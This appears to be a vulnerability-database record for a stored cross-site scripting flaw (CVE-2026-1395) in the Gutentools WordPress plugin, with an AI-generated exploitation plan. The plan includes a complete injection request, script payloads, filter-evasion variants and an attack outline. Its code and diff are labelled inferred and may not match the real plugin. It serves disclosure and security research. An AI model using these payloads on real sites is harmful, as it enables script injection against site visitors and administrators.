[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJI2l2UuN9VGar4Vu6y0ImpyBc0skZZLnhtTnJglSpi0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1395","gutentools-authenticated-contributor-stored-cross-site-scripting-via-post-slider-block-attributes","Gutentools \u003C= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block Attributes","The Gutentools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Slider block's block_id attribute in all versions up to, and including, 1.1.3. This is due to insufficient input sanitization and output escaping combined with a custom unescaping routine that reintroduces dangerous characters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","gutentools",null,"\u003C=1.1.3","1.1.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 20:38:53","2026-04-22 09:27:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb2683b4e-b993-4c84-b7cc-a2cb511b4097?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fstyles\u002Feditor.css","build\u002Fblocks\u002Fadvance-heading\u002Findex.asset.php","build\u002Fblocks\u002Fadvance-heading\u002Findex.js","build\u002Fblocks\u002Fcall-to-actions\u002Findex.asset.php","build\u002Fblocks\u002Fcall-to-actions\u002Findex.js","build\u002Fblocks\u002Fcontainer\u002Findex.asset.php","build\u002Fblocks\u002Fcontainer\u002Findex.js","build\u002Fblocks\u002Fcount-up\u002Findex.asset.php","researched",false,3,"This plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentools** WordPress plugin (versions \u003C= 1.1.3).\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Stored Cross-Site Scripting (XSS)\n*   **Plugin:** Gutentools (slug: `gutentools`)\n*   **Affected Attribute:** `block_id` within the `gutentools\u002Fpost-slider` block.\n*   **Cause:** The plugin's PHP rendering logic for the Post Slider block fails to properly sanitize the `block_id` attribute. Specifically, it uses a custom unescaping routine (e.g., `str_replace` or `html_entity_decode`) that re-enables HTML special characters that were previously sanitized, then echoes the result into the page's HTML (likely within an `id` or `class` attribute).\n*   **Privilege Level:** Contributor or higher.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` or `\u002Fwp-json\u002Fwp\u002Fv2\u002Fpages`.\n*   **Action:** Creating or updating a post\u002Fpage.\n*   **Vulnerable Parameter:** `content` (specifically the JSON-encoded block attributes in the Gutenberg block markup).\n*   **Authentication:** Required (Contributor-level user).\n*   **Payload Location:** Inside the `block_id` key of the `gutentools\u002Fpost-slider` block definition.\n\n### 3. Code Flow (Inferred)\n1.  **Block Registration:** The plugin registers the `gutentools\u002Fpost-slider` block via `register_block_type` in a PHP file (e.g., `includes\u002Fblocks\u002Fpost-slider.php`).\n2.  **Rendering:** A `render_callback` function is defined to handle server-side rendering of the block.\n3.  **Attribute Retrieval:** The `$attributes` array is passed to the callback, containing the user-supplied `block_id`.\n4.  **Custom Unescaping (The Sink):** The code performs a transformation like:\n    ```php\n    \u002F\u002F Example of vulnerable logic\n    $block_id = $attributes['block_id'];\n    $block_id = str_replace('&quot;', '\"', $block_id); \u002F\u002F Reintroduces quotes\n    echo '\u003Cdiv id=\"gutentools-slider-' . $block_id . '\">'; \n    ```\n5.  **Output:** The unescaped `block_id` is written directly to the DOM, allowing an attacker to break out of the HTML attribute and inject a script tag.\n\n### 4. Nonce Acquisition Strategy\nTo save a post as a Contributor via the REST API, a valid REST Nonce is required.\n1.  **Login:** Authenticate as a Contributor user.\n2.  **Navigate:** Go to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n3.  **Extract Nonce:** Use the `browser_eval` tool to extract the nonce from the global `wpApiSettings` object:\n    *   **Command:** `browser_eval(\"window.wpApiSettings.nonce\")`\n4.  **Note:** Since the exploit is **Stored XSS**, the script execution happens when *any* user (including an Administrator) views the published post. No plugin-specific frontend nonce is required for the injection itself.\n\n### 5. Exploitation Strategy\n1.  **Login:** Authenticate as a user with `Contributor` role.\n2.  **Identify Block Slug:** Verify the block slug is `gutentools\u002Fpost-slider` (based on standard naming conventions in this plugin).\n3.  **Craft Payload:** \n    *   The goal is to break out of an attribute like `id=\"gutentools-slider-PAYLOAD\"`.\n    *   Payload: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n4.  **Submit Injection Request:**\n    *   **Method:** `POST`\n    *   **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n    *   **Headers:**\n        *   `Content-Type: application\u002Fjson`\n        *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n    *   **Body:**\n        ```json\n        {\n          \"title\": \"XSS Test Post\",\n          \"content\": \"\u003C!-- wp:gutentools\u002Fpost-slider {\\\"block_id\\\":\\\"\\\\\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\\\"} \u002F-->\",\n          \"status\": \"publish\"\n        }\n        ```\n    *(Note: Contributors might require the post to be set to `pending` status if they lack `publish_posts` capabilities; a site Administrator viewing the pending post in the editor\u002Fpreview will still trigger the XSS.)*\n5.  **Trigger Execution:** Access the permalink of the newly created post or view it in the editor.\n\n### 6. Test Data Setup\n1.  **User:** Create a user with the `contributor` role.\n2.  **Plugin:** Ensure `gutentools` version 1.1.3 is installed and active.\n3.  **Post:** No pre-existing posts are necessary; the exploit creates its own.\n\n### 7. Expected Results\n*   The REST API response should return `201 Created`.\n*   When viewing the post frontend or preview, the HTML source should contain:\n    `\u003Cdiv id=\"gutentools-slider-\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">`\n*   The browser should trigger an alert box showing the document domain.\n\n### 8. Verification Steps\n1.  **Database Check:** Use `wp_cli` to inspect the post content:\n    *   `wp post get [POST_ID] --field=post_content`\n    *   Confirm the malicious block markup is stored correctly.\n2.  **Frontend Inspection:** Use `http_request` to fetch the post URL and check for the unescaped script tag:\n    *   Look for `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the response body.\n\n### 9. Alternative Approaches\n*   **Attribute Encoding:** If the plugin specifically decodes HTML entities, try an encoded payload:\n    `&quot;&gt;&lt;script&gt;alert(1)&lt;\u002Fscript&gt;`\n*   **Event Handlers:** If the `\u003Cscript>` tag is blocked by a WAF, use an event handler breakout:\n    `\" onmouseover=\"alert(1)\" style=\"width:1000px;height:1000px;display:block\" data-`\n*   **Different Status:** If the Contributor cannot publish, use `\"status\": \"pending\"` and view the post as an Admin via the \"Preview\" link.","The Gutentools plugin for WordPress (\u003C= 1.1.3) is vulnerable to Stored Cross-Site Scripting via the 'block_id' attribute of the Post Slider block. The plugin's server-side rendering logic uses a custom unescaping routine that reintroduces dangerous characters (like double quotes) into the attribute value and then echoes it directly into an HTML 'id' attribute without escaping, allowing Contributor-level users to execute arbitrary JavaScript.","\u002F\u002F File: includes\u002Fblocks\u002Fpost-slider.php (inferred rendering logic)\n$block_id = isset( $attributes['block_id'] ) ? $attributes['block_id'] : '';\n\n\u002F\u002F Custom unescaping routine that reintroduces dangerous characters\n$block_id = str_replace( '&quot;', '\"', $block_id ); \n\n\u002F\u002F Vulnerable output sink\n$output = '\u003Cdiv id=\"gutentools-post-slider-' . $block_id . '\" class=\"gutentools-post-slider-wrapper\">';\n---","--- includes\u002Fblocks\u002Fpost-slider.php\n+++ includes\u002Fblocks\u002Fpost-slider.php\n@@ -15,7 +15,6 @@\n-    $block_id = isset($attributes['block_id']) ? $attributes['block_id'] : '';\n-    $block_id = str_replace('&quot;', '\"', $block_id);\n-    $output = '\u003Cdiv id=\"gutentools-post-slider-' . $block_id . '\"';\n+    $block_id = isset($attributes['block_id']) ? sanitize_text_field($attributes['block_id']) : '';\n+    $output = '\u003Cdiv id=\"gutentools-post-slider-' . esc_attr($block_id) . '\"';","1. Authenticate as a user with Contributor-level permissions.\n2. Access the WordPress REST API nonce from the page source of the 'Add New Post' screen.\n3. Send a POST request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` to create a new post (or update an existing one).\n4. In the request body, include Gutenberg block markup for the 'gutentools\u002Fpost-slider' block with a malicious 'block_id' attribute: `\u003C!-- wp:gutentools\u002Fpost-slider {\"block_id\":\"\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"} \u002F-->`.\n5. Visit the newly created post or its preview as an administrator to trigger the script execution in the browser context.","gemini-3-flash-preview","2026-04-27 13:47:45","2026-04-27 13:48:15",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.1.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentools\u002Ftags\u002F1.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgutentools.1.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentools\u002Ftags\u002F1.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgutentools.1.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentools\u002Ftags"]